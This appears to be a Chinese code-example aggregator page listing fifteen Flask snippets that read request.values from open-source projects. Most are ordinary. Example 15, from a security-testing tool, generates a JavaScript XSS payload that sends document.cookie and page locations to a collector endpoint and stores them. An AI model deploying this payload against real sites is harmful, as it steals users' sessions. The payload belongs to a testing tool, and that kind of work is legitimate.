当前位置: 首页>>代码示例>>Python>>正文


Python request.values方法代码示例

本文整理汇总了Python中flask.request.values方法的典型用法代码示例。如果您正苦于以下问题:Python request.values方法的具体用法?Python request.values怎么用?Python request.values使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在flask.request的用法示例。


在下文中一共展示了request.values方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: callback

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def callback(self):
        """A method which should be always called after completing authorization code grant process
        usually in callback view.
        It fetches the authorization token and saves it flask
        `session <http://flask.pocoo.org/docs/1.0/api/#flask.session>`_ object.

        """
        if request.values.get("error"):
            return request.values["error"]
        discord = self._make_session(state=session.get("DISCORD_OAUTH2_STATE"))
        token = discord.fetch_token(
            configs.DISCORD_TOKEN_URL,
            client_secret=self.client_secret,
            authorization_response=request.url
        )
        self._token_updater(token) 
开发者ID:thec0sm0s,项目名称:Flask-Discord,代码行数:18,代码来源:client.py

示例2: get

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def get(self, ipa):
        global http_source
        params = request.values
        target = ''
        type = ''
        pod = ''
        if params.get('target'):
            target = params.get('target')
        if params.get('type'):
            type = params.get('type')
        if params.get('pod'):
            pod = params.get('pod')
        try:
            http_serve_value(target, type, pod)
            res = json.dumps('succeed', ensure_ascii=False)
        except Exception as e:
            res = json.dumps(e, ensure_ascii=False)
        finally:
            pass
        return res 
开发者ID:liucaide,项目名称:Andromeda,代码行数:22,代码来源:http_serve.py

示例3: token

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def token():
  account_sid = os.environ.get("ACCOUNT_SID", ACCOUNT_SID)
  api_key = os.environ.get("API_KEY", API_KEY)
  api_key_secret = os.environ.get("API_KEY_SECRET", API_KEY_SECRET)
  push_credential_sid = os.environ.get("PUSH_CREDENTIAL_SID", PUSH_CREDENTIAL_SID)
  app_sid = os.environ.get("APP_SID", APP_SID)

  grant = VoiceGrant(
    push_credential_sid=push_credential_sid,
    outgoing_application_sid=app_sid
  )

  identity = request.values["identity"] \
          if request.values and request.values["identity"] else IDENTITY
  token = AccessToken(account_sid, api_key, api_key_secret, identity=identity)
  token.add_grant(grant)

  return token.to_jwt() 
开发者ID:twilio,项目名称:voice-quickstart-server-python,代码行数:20,代码来源:server.py

示例4: placeCall

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def placeCall():
  account_sid = os.environ.get("ACCOUNT_SID", ACCOUNT_SID)
  api_key = os.environ.get("API_KEY", API_KEY)
  api_key_secret = os.environ.get("API_KEY_SECRET", API_KEY_SECRET)

  client = Client(api_key, api_key_secret, account_sid)
  to = request.values.get("to")
  call = None

  if to is None or len(to) == 0:
    call = client.calls.create(url=request.url_root + 'incoming', to='client:' + IDENTITY, from_=CALLER_ID)
  elif to[0] in "+1234567890" and (len(to) == 1 or to[1:].isdigit()):
    call = client.calls.create(url=request.url_root + 'incoming', to=to, from_=CALLER_NUMBER)
  else:
    call = client.calls.create(url=request.url_root + 'incoming', to='client:' + to, from_=CALLER_ID)
  return str(call) 
开发者ID:twilio,项目名称:voice-quickstart-server-python,代码行数:18,代码来源:server.py

示例5: preset

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def preset():
  try:
    path = '.user/preset_' + request.values['path']
    name = request.values['name'] if 'name' in request.values else None
    data = request.values['data'] if 'data' in request.values else None
    if data:
      return savePreset(path)(data), 200
    else:
      if name:
        res = cache[name][1] if name in cache else loadPreset(path)(name + '.json', True)
        if res:
          return res, 200
        else:
          return '', 404
      else:
        if os.path.exists(path):
          return json.dumps([*filter(None, map(loadPreset(path), os.listdir(path)))]
            , ensure_ascii=False, separators=(',', ':')), 200
        else:
          return '[]', 200
  except:
    return '', 400 
开发者ID:opteroncx,项目名称:MoePhoto,代码行数:24,代码来源:preset.py

示例6: assign_properties

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def assign_properties(thing):
    """Assign properties to an object.

    When creating something via a post request (e.g. a node), you can pass the
    properties of the object in the request. This function gets those values
    from the request and fills in the relevant columns of the table.
    """
    details = request_parameter(parameter="details", optional=True)
    if details:
        setattr(thing, "details", loads(details))

    for p in range(5):
        property_name = "property" + str(p + 1)
        property = request_parameter(parameter=property_name, optional=True)
        if property:
            setattr(thing, property_name, property)

    session.commit() 
开发者ID:Dallinger,项目名称:Dallinger,代码行数:20,代码来源:experiment_server.py

示例7: get_permissions

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def get_permissions():
    """
    get the permissions for the current user (if logged in)
    or the default permissions (if not logged in).
    """
    auth = request.authorization
    if auth:
        # http basic auth header present
        permissions = lookup_permissions(auth.password)
    elif 'token' in request.values:
        # token present in query args or post form (can be used by cli clients)
        permissions = lookup_permissions(request.values['token'])
    else:
        # look into session, login might have put something there
        permissions = session.get(PERMISSIONS)
    if permissions is None:
        permissions = current_app.config['DEFAULT_PERMISSIONS']
    permissions = set(permissions.split(','))
    return permissions 
开发者ID:bepasty,项目名称:bepasty-server,代码行数:21,代码来源:permissions.py

示例8: _redirect_target_url

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def _redirect_target_url(d, use_referrer, endpoint, **values):
    """
    return redirect url to (in that order):

    - <next> from d
    - referrer (if use_referrer is True)
    - the url for endpoint/values
    """
    targets = [d.get('next'), request.referrer, url_for(endpoint, **values)]
    if not use_referrer:
        del targets[1]
    for target in targets:
        if target and is_safe_url(target):
            return target


# GET - for next 2, you may want to create urls with:
# url_for(endpoint, ..., next=something) 
开发者ID:bepasty,项目名称:bepasty-server,代码行数:20,代码来源:http.py

示例9: get_blocks

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def get_blocks():
    last_block = Block.query.order_by(Block.id.desc()).first()
    from_ = request.values.get('from', 1, type=int)
    to = request.values.get(
        'to',
        last_block.id if last_block else 0,
        type=int)
    blocks = Block.query.filter(
        Block.id >= from_,
        Block.id <= to
    ).order_by(Block.id.asc())
    return jsonify(blocks=[b.serialize(use_bencode=False,
                                       include_suffix=True,
                                       include_moves=True,
                                       include_hash=True)
                           for b in blocks]) 
开发者ID:nekoyume,项目名称:nekoyume,代码行数:18,代码来源:api.py

示例10: search

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def search():
    if request.method == "POST":
        query = request.values['search'] or ''
        # query = unicode(query, "utf-8")
        # query = query.decode().encode("utf-8")
        query = unicode(query).lower()
        print 'query = ' + query
        output = []
        try:
            sim_list = word2vec_model.most_similar(query, topn=50)
            #output = word2vec_model.most_similar('u' + '\"' + query + '\"', topn=5)
            for wordsimilar in sim_list:
                # output[wordsimilar[0]] = wordsimilar[1]
                output.append(wordsimilar[0] + ' - '+ str(wordsimilar[1]))
                # file = codecs.open("output.txt", "a", "utf-8")
                # file.write(wordsimilar[0] + "\t" + str(wordsimilar[1]) + "\n")
                # file.close()
        except:
            output = 'Not found' + query
    return render_template('search.html', pages=output) 
开发者ID:sonvx,项目名称:word2vecVN,代码行数:22,代码来源:Main.py

示例11: api_has_parameters

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def api_has_parameters(*keys):
    """
     Decorator that ensures that certain parameters exist and have sensible
     values (i.e. not empty, not None). If one of the keys isn't in the request
     parameters, an error will be returned.

     :param f: The function to be decorated
    """
    def decorator(func):
        @wraps(func)
        def wrapper(*f_args):
            if all([key in request.values and request.values[key]
                    for key in keys]):
                # Let the function deal with it - valid
                return func(*f_args)
            else:
                return jsonify({
                   'error': 'One or more parameters missing. '
                   'Required parameters are: {}, supplied: {}'
                .format(list(keys), request.values)
                }), CLIENT_ERROR_CODE

        return wrapper

    return decorator 
开发者ID:datacats,项目名称:ckan-multisite,代码行数:27,代码来源:api.py

示例12: login

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def login():
    # If they're already logged in, forward them to their destination.
    if check_login_cookie():
        print 'Redirecting for already auth'
        return redirect(request.values.get('next') if 'next' in request.values else url_for('index'), code=302)
    
    if request.method == 'POST':
        # Otherwise, we need to get the password from the form, validate it, and
        if 'pw' in request.values:
            if place_login_cookie(request.values['pw']):
                print 'Login successful!'
                return redirect(request.values.get('next') if 'next' in request.values else url_for('index'), code=302)
            else:
                flash('Incorrect password.')
        else:
            flash('Incomplete request.')
    return render_template('login.html') 
开发者ID:datacats,项目名称:ckan-multisite,代码行数:19,代码来源:login.py

示例13: dns_list

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def dns_list():
    result = []
    total = 0
    args = request.values
    offset = int(args.get('offset', 0))
    limit = int(args.get('limit', 10))

    if args.get('search'):
        search = args.get('search')
    else:
        search = ""
    search = "%" + search + "%"

    sql = "SELECT domain,ip,insert_time FROM dns_log where domain like ? order by id desc limit ?,?"
    rows = DB.exec_sql(sql, search, offset, limit)
    
    for v in rows:
        result.append({"domain": v[0], "ip": v[1], "insert_time": v[2]})
    sql = "SELECT COUNT(*) FROM dns_log"
    rows = DB.exec_sql(sql)
    total = rows[0][0]
    return jsonify({'total': int(total), 'rows': result}) 
开发者ID:opensec-cn,项目名称:vtest,代码行数:24,代码来源:vtest.py

示例14: http_log_list

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def http_log_list():
    result = []
    total = 0
    args = request.values
    offset = int(args.get('offset', 0))
    limit = int(args.get('limit', 10))
    sql = "SELECT url,headers,data,ip,insert_time FROM http_log order by id desc limit {skip},{limit}".format(
        skip=offset, limit=limit)
    rows = DB.exec_sql(sql)
    for v in rows:
        result.append({
            'url': v[0],
            'headers': v[1],
            'data': v[2],
            'ip': v[3],
            'insert_time': v[4]
        })
    sql = "SELECT COUNT(*) FROM http_log"
    rows = DB.exec_sql(sql)
    total = rows[0][0]
    return jsonify({'total': int(total), 'rows': result}) 
开发者ID:opensec-cn,项目名称:vtest,代码行数:23,代码来源:vtest.py

示例15: xss

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import values [as 别名]
def xss(name, action):
    callback_url = request.host_url + 'xss/' + quote(name) + '/save?l='
    js_body = "(function(){(new Image()).src='" + callback_url + "'+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&t='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&c='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&o='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"
    if action == 'js':
        return js_body
    elif action == 'save':
        args = request.values
        data = [
            name,
            args.get('l', ''),
            args.get('t', ''),
            args.get('o', ''),
            args.get('c', ''), request.remote_addr
        ]
        sql = "INSERT INTO xss (name,location,toplocation,opener,cookie,source_ip,insert_time) \
            VALUES(?, ?, ?, ? ,?, ?, datetime(CURRENT_TIMESTAMP,'localtime'))"

        DB.exec_sql(sql, *data)
        return 'success' 
开发者ID:opensec-cn,项目名称:vtest,代码行数:21,代码来源:vtest.py


注:本文中的flask.request.values方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。